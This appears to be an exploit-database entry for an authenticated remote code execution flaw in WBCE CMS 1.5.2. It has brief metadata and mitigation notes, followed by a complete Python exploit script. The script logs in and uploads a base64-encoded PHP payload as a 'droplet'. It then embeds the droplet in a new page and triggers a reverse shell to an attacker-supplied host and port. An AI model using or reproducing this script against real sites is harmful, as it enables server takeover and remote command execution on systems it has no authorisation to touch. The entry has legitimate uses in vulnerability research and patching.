header-logo
Suggest Exploit
vendor:
WBCE CMS
by:
Antonio Cuomo (arkantolo)
9.8
CVSS
CRITICAL
Remote Code Execution (RCE)
78
CWE
Product Name: WBCE CMS
Affected Version From: 1.5.2002
Affected Version To: 1.5.2002
Patch Exists: NO
Related CWE:
CPE: a:wbce:wbce_cms
Metasploit:
Other Scripts:
Platforms Tested: Linux
2022

WBCE CMS 1.5.2 – Remote Code Execution (RCE) (Authenticated)

WBCE CMS version 1.5.2 is vulnerable to Remote Code Execution (RCE) when an authenticated user uploads a malicious file. This exploit uses a payload encoded in base64 which is uploaded to the server and then executed. The payload is a PHP shell which allows the attacker to execute arbitrary commands on the server.

Mitigation:

Ensure that all users have the least privilege necessary to perform their job functions. Restrict access to the admin panel to trusted users only. Ensure that all users are using strong passwords.
Source

Exploit-DB raw data:

# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: 1.5.2
# Tested on: Linux - PHP Version: 8.0.14
# Github repo: https://github.com/WBCE/WBCE_CMS

# -*- coding: utf-8 -*-
#/usr/bin/env python

import requests
import string
import base64
import argparse
import time
import io
from bs4 import BeautifulSoup #pip install beautifulsoup4

PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'

def main():
	parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)')
	parser.add_argument('-x', '--url', type=str, required=True)
	parser.add_argument('-u', '--user', type=str, required=False)
	parser.add_argument('-p', '--password', type=str, required=False)
	parser.add_argument('-ah', '--attacker_host', type=str, required=False)
	parser.add_argument('-ap', '--attacker_port', type=str, required=False)
	args = parser.parse_args()
	print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
	exploit(args, PAYLOAD)

def exploit(args, payload):
    s2 = requests.Session()

    #login
    body= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password}
    r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False)
    if(r.status_code==302 and r.headers['location'].find('/start/') != -1):
        print("[*] Login OK")
    else:
        print("[*] Login Failed")
        exit(1)

    time.sleep(1)
    
    #create droplet
    up = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")}
    r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up)
    if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1):
        print("[*] Droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)

    time.sleep(1)
    
    #get csrf token
    r = s2.get(args.url+'/admin/pages/index.php')
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
    
    #create page
    body= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''}
    r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False)
    soup = BeautifulSoup(r.text, 'html.parser')
    try:
        page_id = soup.findAll("script")[9].string.split("location.href='")[-1].split("\");")[0].split("'")[0].split("=")[1]
        print("[*] Page OK ["+page_id+"]")
    except:
        print("[*] Exploit Failed")
        exit(1)
    
    time.sleep(1)
    
    #get csrf token
    print("[*] Getting token")
    r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id)
    soup = BeautifulSoup(r.text, 'html.parser')
    formtoken = soup.find('input', {'name':'formtoken'})['value']
    section_id = soup.find('input', {'name':'section_id'})['value']
        
    time.sleep(1)
    
    #add droplet to page
    body= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'}
    r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False)
    if(r.status_code==200 and r.text.find('Page saved') != -1):
        print("[*] Adding droplet OK")
    else:
        print("[*] Exploit Failed")
        exit(1)    
    
    time.sleep(1)
    
    input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY")
    body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port}
    r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False)
    if(r.status_code==200):
        print("[*] Exploit OK - check your listner")
        exit(0)
    else:
        print("[*] Exploit Failed")
        exit(1)

if __name__ == '__main__':
	main()